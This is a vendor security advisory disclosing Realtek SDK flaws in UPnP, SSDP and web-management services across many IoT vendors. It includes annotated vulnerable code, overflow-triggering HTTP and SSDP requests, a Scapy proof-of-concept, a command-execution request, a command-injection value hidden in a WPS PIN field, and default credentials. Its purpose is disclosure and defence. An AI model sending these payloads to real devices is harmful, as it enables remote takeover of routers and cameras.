Advisory: Multiple Issues in Realtek SDK Affects Hundreds of Thousands of Devices Down the Supply Chain

At least 65 vendors affected by severe vulnerabilities that enable unauthenticated attackers to fully compromise the target device and execute arbitrary code with the highest level of privilege. 

Overview

Over the course of a research project focusing on a specific cable modem, we identified that the system was using a dual-SoC design. The main SoC was running a Linux system, while the second SoC – a dedicated Realtek RTL819xD chipset implementing all the access point functions – was found to be running another, stripped-down Linux system from Realtek.

Realtek chipsets are found in many embedded devices in the IoT space. RTL8xxx SoCs – which provide wireless capabilities – are very common. We therefore decided to spend time identifying binaries running on the RTL819xD on our target device, which expose services over the network and are provided by Realtek themselves. Such binaries are packaged as part of the Realtek SDK, which is developed by Realtek and provided to vendors and manufacturers who use the RTL8xxx SoCs.

Supported by IoT Inspector’s firmware analysis platform, we performed vulnerability research on those binaries and identified more than a dozen vulnerabilities – ranging from command injection to memory corruption affecting UPnP, HTTP (management web interface), and a custom network service from Realtek.

By exploiting these vulnerabilities, remote unauthenticated attackers can fully compromise the target device and execute arbitrary code with the highest level of privilege.

We identified at least 65 different affected vendors with close to 200 unique fingerprints, thanks both to Shodan’s scanning capabilities and some misconfiguration by vendors and manufacturers who expose those devices to the Internet. Affected devices implement wireless capabilities and cover a wide spectrum of use cases: from residential gateways, travel routers, Wi-Fi repeaters, IP cameras to smart lightning gateways or even connected toys.

Affected vendor & product

Vendor Advisory

 

Realtek SDK (www.realtek.com)

https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf

Vulnerable version Realtek SDK v2.x
Realtek “Jungle” SDK v3.0/v3.1/v3.2/v3.4.x/v3.4T/v3.4T-CT
Realtek “Luna” SDK up to version 1.3.2
Fixed version Realtek SDK branch 2.x: no longer supported by Realtek.
Realtek “Jungle” SDK: patches will be provided by Realtek and needs to be backported.
Realtek “Luna” SDK: version 1.3.2a contains fixes.
CVE IDs CVE-2021-35392 (‘WiFi Simple Config’ stack buffer overflow via UPnP)
CVE-2021-35393 (‘WiFi Simple Config’ heap buffer overflow via SSDP)
CVE-2021-35394 (MP Daemon diagnostic tool command injection)
CVE-2021-35395 (management web interface multiple vulnerabilities)
Impact CVE-2021-35392 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35393 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35394 – 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35395- 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab

Key Takeaways

As awareness for supply chain transparency is on the rise among security experts, this example is a pretty good showcase of the vast implications of an obscure IoT supply chain. As opposed to recent supply chain attacks such as Kaseya or Solar Winds, where perpetrators went to great lengths to infiltrate the vendor’s release processes and place hidden backdoors in product updates, this example is far less sophisticated – and probably way more common, for three simple reasons:

  1. On the supplier’s end, insufficient secure software development practices, in particular lack of security testing and code review, resulted in dozens of critical security issues to remain untouched in Realtek’s codebase for more than a decade (from 2.x branch through “Jungle“ SDK to “Luna” SDK).
  2. On the product vendor’s end, we see manufacturers with access to the Realtek source code (a requirement to build Realtek SDK binaries for their own platform) who missed to sufficiently validate their supply chain, left the issues unspotted and distributed the vulnerabilities to hundreds of thousands of end customers – leaving them vulnerable to attacks.
  3. But supply chain issues can go upstream, too. During our research, we discovered that security researchers and pen-testers have previously identified issues in devices relying on the Realtek SDK, but didn’t link these issues to Realtek directly. Vendors who received reports of these vulnerabilities fixed them in their own branch but did not notify Realtek, leaving others exposed.

Our firmware analysis platform IoT Inspector can support in detecting such crucial supply chain issues. It automatically detects whether a firmware is based on a vulnerable Realtek SDK, along with its specific version. It can also detect each vulnerability we reported, and whether or not the provided patch has been applied.

Please keep reading for the full details of our research process.

UPnP Vulnerabilities (mini_upnpd, wscd)

Summary

Realtek moved away from its previous UPnP service miniigd in response to CVE-2014-8361, They subsequently provided the source to build two binaries with different features within its SDK:

  • mini_upnpd: seems to be only handling SSDP packets and does not expose a UPnP HTTP interface. For every firmware image we identified to contain a mini_upnpd binary, wscd was also present.

  • wscd: aka ‘Realtek WiFi Simple-Config Daemon’, implements both SSDP packet handling and a UPnP HTTP interface.

Throwing the right keywords into Google, we were able to get access to the source code on Github. This helped in speeding up the vulnerability identification – but we’re confident that skilled reverse engineers would reach the same conclusions, given that some binaries in our sample set came with debug symbols. To illustrate the vulnerabilities, we have commented relevant sections of the source code.

Stack Buffer Overflow via UPnP SUBSCRIBE Callback Header

A few words on UPnP subscription

Any UPnP service must expose the list of devices that it manages, as well as a list of services attached to those devices. In the sample below taken from gupnp documentation (Writing a UPnP Service: GUPnP Reference Manual ), we see a virtual light device with a power switching service attached to it.

On line 19, we can see a eventSubURL item that is related to a feature of UPnP: event notification.

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <device>
    <deviceType>urn:schemas-upnp-org:device:BinaryLight:1</deviceType>
    <friendlyName>Kitchen Lights</friendlyName>
    <manufacturer>OpenedHand</manufacturer>
    <modelName>Virtual Light</modelName>
    <UDN>uuid:cc93d8e6-6b8b-4f60-87ca-228c36b5b0e8</UDN>    
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:service:SwitchPower:1</serviceType>
        <serviceId>urn:upnp-org:serviceId:SwitchPower:1</serviceId>
        <SCPDURL>/SwitchPower1.xml</SCPDURL>
        <controlURL>/SwitchPower/Control</controlURL>
        <eventSubURL>/SwitchPower/Event</eventSubURL>
      </service>
    </serviceList>
  </device>
</root>

To subscribe to event notification for a service, a subscriber shall send a request with method SUBSCRIBE, alongside populated NT and CALLBACK header fields, to that service’s fully-qualified event subscription URL.

An UPnP SUBSCRIBE request usually looks like this:

SUBSCRIBE /SwitchPower/Event HTTP/1.1
HOST: host:port
USER-AGENT: OS/version UPnP/2.0 product/version
CALLBACK: <delivery URL>
NT: upnp:event
TIMEOUT: Second-requested subscription duration

On events, the UPnP service will then notify the subscriber by sending a NOTIFY request to the provided CALLBACK URL. In our example, an event could be the virtual light being switched on or off by another UPnP client.

Now that you have some background on UPnP event notifications and subscriptions, let’s look into the Realtek SDK implementation.

Whenever a request is received by the UPnP handler, the HTTP verb is checked and a dedicated function called:

/* Parse and process Http Query 
 * called once all the HTTP headers have been received. */
static void ProcessHttpQuery_upnphttp(struct upnphttp * h)
{
  //--snip--
  else if(strcmp("SUBSCRIBE", HttpCommand) == 0)
  {
    UPnPProcessSUBSCRIBE(h);
  }
  //--snip--
}

On line 8, the UPnPProcessSUBSCRIBE function will parse the HTTP request held in a upnphttp structure and fill the fields of the provided process_upnp_subscription structure:

static void UPnPProcessSUBSCRIBE(struct upnphttp * h)
{
  struct process_upnp_subscription sub;
  struct upnp_subscription_element *new_sub=NULL;
  int ret;

  memset(&sub, 0, sizeof(struct process_upnp_subscription));
  ret = ParseSUBSCRIBEPacket(h, &sub);
  if (ret != UPNP_E_SUCCESS) {
    Send412PreconditionFailed(h);
    return;
  }
  //--snip--
}

The ParseSUBSCRIBEPacket function parses the HTTP request line. It first validates that the URL is a valid event URL (line 21 to 29), checks that the host header corresponds to its own IP and port (line 41 to 53), and finally extracts the IP and port number from the callback header value by calling GetIPandPortandCallBack on line 59:

static int ParseSUBSCRIBEPacket(struct upnphttp * h, struct process_upnp_subscription *sub)
{
  char *line=NULL, *value=NULL, *tmp=NULL;
  unsigned int line_len=0, value_len=0, tmp_len=0;
  unsigned long buffer_end=0;

  if (h->req_buf == NULL || h->req_contentoff == 0)
    return UPNP_E_INVALID_PARAM;

  line = h->req_buf;
  buffer_end = (unsigned long)h->req_buf + h->req_contentoff;
  while ((unsigned long)line < buffer_end) {
    if (*line == ' ') {
      line++;
      continue;
    }
    GetLineLen((const unsigned long)line, &line_len);
    if (line_len == 0)
      return UPNP_E_INVALID_PARAM;
    else if (line_len > 2) {
      if (strncasecmp("SUBSCRIBE", line, 9) == 0) {
        value = GetTokenValue((const unsigned long)line+9, line_len-9, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) {
          syslog(LOG_WARNING, "SUBSCRIBE event url mismatched!");
          return UPNP_E_INVALID_PARAM;
        }
      }
      else if (strncasecmp("UNSUBSCRIBE", line, 11) == 0) {
        value = GetTokenValue((const unsigned long)line+11, line_len-11, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) {
          syslog(LOG_WARNING, "UNSUBSCRIBE event url mismatched!");
          return UPNP_E_INVALID_PARAM;
        }
      }
      else if (strncasecmp("Host", line, 4) == 0) {
        value = GetTokenValue((const unsigned long)line+4, line_len-4, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        char host_info[30];
        memset(host_info, 0, 30);
        sprintf(host_info, "%s:%d", h->subscribe_list->my_IP, h->subscribe_list->my_port);
        if (strncmp(value, host_info, value_len) != 0) {
          syslog(LOG_WARNING, "Wrong host [%s]", host_info);
          return UPNP_E_INVALID_PARAM;
        }
      }
      else if (strncasecmp("Callback", line, 8) == 0) {
        value = GetTokenValue((const unsigned long)line+8, line_len-8, &value_len);
        if (value == NULL || value_len == 0 || (value_len > (URL_MAX_LEN-1)))
          return UPNP_E_INVALID_PARAM;

        if (GetIPandPortandCallBack((const unsigned long) value, value_len, sub) != UPNP_E_SUCCESS)
          return UPNP_E_INVALID_PARAM;
        }
  //--snip--
      }
    }
  }

The GetIPandPortandCallback function is represented below so that you can try to find the vulnerability yourself. We provide a detailed explanation below.

static __inline__ int GetIPandPortandCallBack(const unsigned long buf, const unsigned int buf_len, struct process_upnp_subscription *sub)
{
  char *line=NULL;
  unsigned long buffer_end=0;
  unsigned char dot_count=0;
  unsigned long start=0;
  unsigned long end=0;
  unsigned char GotIPandPort=0;

  line = (char *)buf;
  buffer_end = (unsigned long)line + buf_len;
  while ((unsigned long)line < buffer_end) {
    if (*line == ' ') {
      line++;
      continue;
    }
    if (strncasecmp("<http://", line, 8) != 0)
      return UPNP_E_INVALID_PARAM;
    else
      break;
  }

  line += 8;
  start =(unsigned long) line;

  while ((unsigned long)line < buffer_end) {
    if (*line == '.')
      dot_count++;
    if ((*line == ':') || (*line == '/')) {
      if (dot_count != IP_V4_DOT_COUNT)
        return UPNP_E_INVALID_PARAM;
      memcpy(sub->IP, (char *)start, (unsigned long)line-start);
      if ((sub->IP_inet_addr = inet_addr(sub->IP)) == -1)
        return UPNP_E_INVALID_PARAM;
        break;
      }
      line++;
    }

    if (*line == '/') {
      sub->port = 80;
      GotIPandPort = 1;
      start = (unsigned long)line;
      end = 0;
      goto get_callback;
    }

    line += 1;
    start = (unsigned long)line;
    while ((unsigned long)line < buffer_end) {
      if (*line == '/') {
        end = (unsigned long)line;
        if (end <= start)
          return UPNP_E_INVALID_PARAM;
        else {
          char port[10];                          // stack buffer
          memset(port, 0, 10);                    // zeroed out
          memcpy(port, (char *)start, end-start); // VULN: end-start can be > 10
          sub->port = atoi(port);
          GotIPandPort = 1;
          start = (unsigned long)line;
          end = 0;
          break;
        }
      }
      line++;
    }
get_callback:
  if (!GotIPandPort)
    return UPNP_E_INVALID_PARAM;
  while ((unsigned long)line < buffer_end) {
    if (*line == '>') {
      end = (unsigned long)line;
      if (end <= start)
        return UPNP_E_INVALID_PARAM;
      else {
        memcpy(sub->callback_url, (char *)start, end-start);
        return UPNP_E_SUCCESS;
      }
    }
    line++;
  }
  return UPNP_E_INVALID_PARAM;
}

GetIPandPortandCallBack parsing code is wrong on many levels, but let’s focus on why it’s vulnerable:

  • it checks whether the Callback starts with "<http://" and bails otherwise from line 12 to 21.

From line 26 to 67, the actual IP and port number extraction starts:

  • it will advance in the buffer until a ‘:’ or a ‘/’ is found, every time a ‘.’ is encountered, a counter is incremented

  • when there is a hit for ‘:’ or ‘/’, it checks if there are 3 dots (strong validation for IPv4, right ?)

  • if the character hit is ‘/’, it defaults to port number 80

  • if the character hit is ‘:’, it continues reading the buffer until they hit a ‘/’ character and copy the buffer from ‘:’ to ‘/’ into a fixed size buffer named ‘port’

  • the port buffer is then fed to atoi to get an integer

The vulnerability happens on line 58 where memcpy is called with a length that can be larger than the size of the port stack buffer. This is due to the fact that there is no size limitation when identifying the port section between ‘:’ and ‘/’ characters within the callback.

The following SUBSCRIBE request will therefore trigger the overflow:

SUBSCRIBE /upnp/event/WFAWLANConfig1 HTTP/1.1
Host: 192.168.100.254:52881
Callback: <http://192.168.100.2:36657AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ServiceProxy0>
NT: upnp:event
Timeout: Second-1800
Accept-Encoding: gzip, deflate
User-Agent: gupnp-universal-cp GUPnP/1.2.3 DLNADOC/1.50
Connection: Keep-Alive

We confirmed it on our test device with GDB. As we can see below, the program counter of our process got overwritten with ‘AAAA’ (0x41414141):

gdb-multiarch
(gdb) set architecture mips
The target architecture is assumed to be mips
(gdb) target remote 192.168.100.254:1234
Remote debugging using 192.168.100.254:1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xfc3aaf2a in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) quit

Gaining a Shell

To fully demonstrate the potential of this vulnerability, we developed a quick proof-of-concept that would land us a reverse shell on the target device. We exploit the stack overflow using the ret2libc technique in order to run an arbitrary command. Given that the size of the command we can run is restricted to 16 characters, we simply launch the UDPServer daemon and exploit the command injection that affects that service to run a longer command that pulls our reverse shell payload over FTP and execute it.

Realtek Sdk Poc

 

 

Heap Buffer Overflow via SSDP ST field

The UPnP discovery protocol relies on Simple Service Discovery Protocol (SSDP), a UDP protocol using the HTTP message format.

Two kinds of messages can be sent over SSDP:

  • M-SEARCH – sent by clients wishing to discover available services on a network.

  • NOTIFY – sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.

Handling of SSDP requests is implemented by ProcessSSDPRequest, which only parses M-SEARCH messages and disregards NOTIFY messages.

The origin of the heap buffer overflow lies between lines 43 and 68 where the SSDP handler compares the ST header value to its internal list of exposed service types.

A secure SSDP implementation would only accept an ST header that matches exactly one of its exposed service types (e.g., upnp:rootdevice). In this case, the comparison is made with memcmp – but only up to the length of the currently checked service type. This means that we can pass this check if at least n bytes of our provided ST header value match the service type (e.g. upnp:rootdevicewhateverfollows).

Then, on line 57, the function calls SendSSDPAnnounce2 to reply to our M-SEARCH request with a NOTIFY response using two user controlled inputs: the ST header value (st) and the ST header value length (st_len).

void ProcessSSDPRequest(daemon_CTX_Tp pCtx)
{
  int n;
  char *bufr=NULL;
  socklen_t len_r;
  struct sockaddr_in sendername;
  int i, l, j;
  char * st = 0;
  int st_len = 0;

  if (pCtx == NULL)
    return;
  bufr = (char *) malloc(2048);
--snip--
  memset(bufr, 0, 2048);
  len_r = sizeof(struct sockaddr_in);
  n = recvfrom(pCtx->sudp, bufr, 2048, 0, (struct sockaddr *)&sendername, &len_r);
--snip--
  else if(memcmp(bufr, "M-SEARCH", 8) == 0)
  {
    i = 0;
    while(i<n)
    {
      while(bufr[i] != '\r' || bufr[i+1] != '\n'){
        if(i<n)
          i++;
        else
          goto err_out;
      }
      i += 2;
      if(strncasecmp(bufr+i, "st:", 3) == 0)
      {
        st = bufr+i+3;
        st_len = 0;
        while(*st == ' ' || *st == '\t') st++;
        while(st[st_len]!='\r' && st[st_len]!='\n') st_len++;
      }
    }
    if(st)
    {
      // the SSDP server can handle multiple exposed UPnP devices
      // we loop through those devices
      for (j=0; j<MAX_NUMBER_OF_DEVICE; j++) {
        if (pCtx->device[j].used) {
          i = 0;
          // each device has supported service types, such as 'upnp:rootdevice'
          while(pCtx->device[j].known_service_types[i])
          {
            // first error, we compare the received ST header to at most l bytes
            // this means we pass the check with 'upnp:rootdevicewhateverfollows'
            l = (int)strlen(pCtx->device[j].known_service_types[i]);
            if(l<=st_len && (0 == memcmp(st, pCtx->device[j].known_service_types[i], l)))
            {
              // --snip--
              // the server sends a NOTIFY message to answer the M-SEARCH with
              // user controlled data
              SendSSDPAnnounce2(pCtx->sudp, sendername, st, st_len, pCtx->lan_ip_address, pCtx->device[j].port, &pCtx->device[j].ctx);
              break;
            }
            i++;
          }
          --snip--
        }
      }
    }
  }
  //--snip--
}

The overflow happens in SendSSDPAnnounce2 on line 23 when calling sprintf to put user controlled data into a 512 bytes buffer allocated on the heap.

// st and st_len are user controlled
void SendSSDPAnnounce2(int s, struct sockaddr_in sockname,
                                const char * st, int st_len,
                                const char * host, unsigned short port,
                                SSDP_CTX_Tp SSDP)
{
  int l, n;
  char *buf=NULL;
  if (st == NULL || host == NULL || SSDP == NULL)
    return;

  // allocation and zeroing of a 512 bytes buffer on the heap
  buf = (char *) malloc(512);
  if (buf == NULL) {
    syslog(LOG_ERR, "SendSSDPAnnounce2: out of memory!");
    return;
  }
  memset(buf, 0, 512);
  
  // insecure call to sprintf to copy formatted data into our 512 bytes buffer
  // given that st and st_len are user controlled and come from a 2048 bytes buffer
  // read from the UDP socket listener, we can definitely overflow the heap buffer.
  l = sprintf(buf,
    "HTTP/1.1 200 OK\r\n"
    "Cache-Control: max-age=%d\r\n"
    "ST: %.*s\r\n"
    "USN: %s::%.*s\r\n"
    "EXT:\r\n"
    "Server: " MINIUPNPD_SERVER_STRING "\r\n"
    "Location: http://%s:%u/%s.xml" "\r\n"
    "\r\n",
    SSDP->max_age,
    st_len, st,
    SSDP->uuid, st_len, st,
    host, (unsigned int)port, SSDP->root_desc_name);
  n = sendto(s, buf, l, 0, (struct sockaddr *)&sockname, sizeof(struct sockaddr_in) );
  if(n<0)
  {
    syslog(LOG_ERR, "sendto: %m");
  }
  free(buf);
}

We developed the following proof-of-concept with Scapy:

from scapy.all import *
fake_mac="64:d1:a3:4f:be:e1"
spoofedIPsrc="192.168.100.2"
SSDPserver="192.168.100.254"

payload = "M-SEARCH * HTTP/1.1\r\n" \
"HOST:"+SSDPserver+":1900\r\n" \
"ST:upnp:rootdeviceAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" \
"MAN: \"ssdp:discover\"\r\n" \
"MX:2\r\n\r\n"

ssdpRequest = IP(src=spoofedIPsrc,dst=SSDPserver) / UDP(sport=1900, dport= 1900) / payload
send(ssdpRequest)

We confirmed it on our test device with GDB. As we can see below, the program counter of our process got messed up due to the presence of invalid values on the heap:

gdb-multiarch 
(gdb) set architecture mips
The target architecture is assumed to be mips
(gdb) target remote 192.168.100.254:1234
Remote debugging using 192.168.100.254:1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xfc3aaf2a in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xd4bab02a in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) quit

Heap exploitation is always more complex, but the binary provides decent primitives to perform heap spraying. If we want to write a complete PoC we’d have to look at what kind of structures are allocated on the heap at runtime.

Web Management Interface Vulnerabilities (webs, boa)

Summary

Realtek has two different versions of its stock web management interface binary: one is GoAhead-webs (/bin/webs), the other is Boa (/bin/boa).

Each server implements the exact same features, with the exact same vulnerabilities (command injection, overflows). The only difference is that Realtek developers use different APIs to implement their features (e.g., websGetVar to get a query parameter in GoAhead-webs, and req_get_cstream_var in Boa).

In its default state, the interface looks somewhat like this:

Realtek SDK web interface
Realtek SDK web interface

Most vendors and manufacturers use one of these web management binaries but change the appearance of the user interface so that it reflects their brand. During our research, some were found to also remove and/or insert custom features. An obvious example of this is the interface found on an IoT toy tank analyzed by Pentest Partners:

Realtek SDK web interface on ESSON
Realtek SDK web interface on ESSON

Caveats

The web server is vulnerable to DNS rebinding and does not implement any kind of CSRF protection. This means it could be exploited over the Internet by getting a victim to open an attacker controlled web page and guess the internal IP address running the service.

The binary implements a small authentication feature with a user database saved in a .dat or .txt file depending on the binary (webs or boa). Unless explicitly removed in the code/config by the vendor, a default user account exists (supervisor/supervisor).

Exploitability of identified issues will differ based on what the end vendor/manufacturer did with the Realtek SDK webserver. Some vendors use it as-is, others add their own authentication implementation, some keep all the features from the server, some remove some of them, others insert their own set of features.

However, given that Realtek SDK implementation is full of insecure calls and that (from what we’ve seen so far), developers tends to re-use those examples in their custom code, any binary based on Realtek SDK webserver will probably contain its own set of issues on top of the Realtek ones (if kept).

An excellent example of this is the Edimax webserver implementation that kept vulnerabilities from the Realtek SDK default CGI handlers (e.g., buffer overflow via submit-url parameter), but also copied that exact code into their own custom CGI handlers (see Examination of Edimax home devices – Embedded Lab Vienna for IoT & Security).

Stack Buffer Overflow via formRebootCheck’s submit-url query parameter

A buffer overflow is present in formRebootCheck. The overflow can be triggered by sending an overly long submit-url query parameter:

void formRebootCheck(void **param_1)

{
  //--snip--
  char *__src;
  int iVar3;
  //--snip--
  
  __src = websGetVar((int)param_1,"submit-url",&DAT_00458328);
  iVar3 = apmib_update(4);
  if (iVar3 != 0) {
    save_cs_to_file();
  }
  run_init_script_flag = 1;
  run_init_script("all");
  strcpy(lastUrl,__src);
//--snip--

lastUrl is a static 100 bytes long char array stored in .data section. Given that the variable is above the GOT, we can exploit this vulnerability by overwriting a GOT entry.

A simple demonstration with a 3000 bytes long submit-url value is shown below:

POST /goform/formRebootCheck HTTP/1.1
Host: 192.168.100.254
Content-Length: 3011
Content-Type: application/x-www-form-urlencoded
Connection: close

submit-url=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

This request will, again, trigger a segfault:

# webs
sh: can't create /proc/br_mCastFastFwd: nonexistent directory
Segmentation fault

Stack Buffer Overflow via formWsc’s submit-url query parameter

A similar issue is present in formWsc. This overflow can also be triggered by sending an overly long submit-url query parameter:

void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4)
{
char *pcVar2;
char *pcVar3;
//--snip--

pcVar2 = websGetVar((int)param_1,"submit-url",&DAT_004548c4);
pcVar3 = websGetVar((int)param_1,"resetUnCfg",&DAT_004548c4);
if (*pcVar3 == '1') {
  strcpy(lastUrl,pcVar2);
}
pcVar3 = websGetVar((int)param_1,"resetRptUnCfg",&DAT_004548c4);
if (*pcVar3 == '1') {
  strcpy(lastUrl,pcVar2);
}
//--snip--
}

Again, lastUrl is a static 100 bytes long char array stored in .data section. Given that the variable is above the GOT, we can also overflow exploit this vulnerability by overwriting a GOT entry.

A simple demonstration with a 3000 bytes long submit-url value is shown below:

POST /goform/formWsc HTTP/1.1
Host: 192.168.100.254
Content-Length: 3024
Content-Type: application/x-www-form-urlencoded
Connection: close

resetUnCfg=1&submit-url=AAA...AAAA

Yet, another segfault will be triggered:

# webs
reset to OOB formWsc,7202
Segmentation fault

Stack Buffer Overflow via formWlSiteSurvey’s ifname query parameter

The formWlSiteSurvey form performs an insecure copy from a user controlled buffer into a fixed size variable. WLAN_IF is a static 100 bytes long char array stored in .data section.

void formWlSiteSurvey(int param_1,undefined4 param_2,undefined4 param_3,undefined4 ******param_4)
{
  //--snip--
  pcVar3 = websGetVar(param_1,"ifname",&DAT_004548c4);
  if (*pcVar3 != '\0') {
    strcpy(WLAN_IF,pcVar3);
  }
  //--snip--
}

We can send the HTTP request below to reach the vulnerable code path:

POST /goform/formWlSiteSurvey HTTP/1.1
Host: 192.168.100.254
Content-Length: 3063
Content-Type: application/x-www-form-urlencoded
Connection: close

refresh=Site+Survey&submit-url=%2Fpocket_sitesurvey.asp&ifname=AAAAAAAAAAA...AAAAAAA

HTTP/1.0 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html>
<body><blockquote><h4>Site-survey request failed!</h4>
<form><input type="button" onclick="history.go (-1)" value="&nbsp;&nbsp;OK&nbsp;&nbsp" name="OK"></form></blockquote></body></html>

This will trigger a segfault afterwards, followed by a full reboot:

# webs
-2
Segmentation fault

The full reboot is probably due to an ioctl performed by the webserver that sends a structure holding the IFNAME content to a Realtek kernel driver to get stats from a wireless interface.

Arbitrary Command Execution in formSysCmd

The formSysCmd form is exposing command execution as a feature and is usually reachable via either /goform/formSysCmd or /boafrm/formSysCmd depending on the webserver in use.

We could argue that it’s more of a backdoor rather than a vulnerable endpoint, especially when vendors tend to remove the HTML page represented below from their interface but leave the command execution endpoint enabled.

Realtek SDK formSysCmd form
Realtek SDK formSysCmd form

The form code is dead simple: receive a command via the sysCmd query parameter, feed it to system(), and return the results from that command within the next page.

void formSysCmd(void **param_1)
{
  size_t *psVar1;
  char *pcVar2;
  char acStack120 [104];
  
  psVar1 = (size_t *)websGetVar((int)param_1,"submit-url",&DAT_00458328);
  pcVar2 = websGetVar((int)param_1,"sysCmd",&DAT_00458328);
  if (*pcVar2 != '\0') {
    snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log");
    system(acStack120);
  }
  websRedirect(param_1,psVar1);
  return;
}

Although probably not required, we’ll reference the HTTP request for completness’ sake:

POST /goform/formSysCmd HTTP/1.1
Host: 192.168.100.254
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Connection: close

sysCmd=ls&apply=Apply&submit-url=%2Fsyscmd.asp&msg=
---
HTTP/1.0 302 Redirect
Server: GoAhead-Webs
Date: Tue Jan  5 01:56:06 2016
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://192.168.100.254/syscmd.asp

<html><head></head><body>
        This document has moved to a new <a href="http://192.168.100.254/syscmd.asp">location</a>.
        Please update your documents to reflect the new location.
        </body></html>

This “feature” is another great example of what arises with vulnerabilities being distributed down the supply chain. Many testers identified this exact vulnerability in different devices from different vendors but never reported it to Realtek.

A few examples: CVE-2018-20057, CVE-2019-19824, Edimax EW-7438RPn 1.13 – Remote Code Execution.

Command Injection via formWsc’s peerPin query parameter

The formWsc form is vulnerable to arbitrary command injection at multiple locations. All of them are related to a user controlled WPS PIN that is fed to system commands without prior sanitization.

void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4)
{
  //--snip--
  if (bVar1) {
    apmib_get(0x111,abStack472);
    sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472);
    system((char *)abStack736);
  }
  apmib_get(0x10e,(byte *)&local_38);
  if (local_38 == 0) {
    pcVar3 = "iwpriv %s set_mib pin=%s";
    sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin);
    system((char *)abStack736);
  }
  else{
    pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s";
    sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin);
    system((char *)abStack736);
  }
  //--snip--

HTTP request to trigger the injection:

POST /goform/formWsc HTTP/1.1
Host: 192.168.100.254
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Connection: close

submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;ifconfig>/tmp/1;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

Stack Buffer Overflow via formStaticDHCP’s hostname query parameter

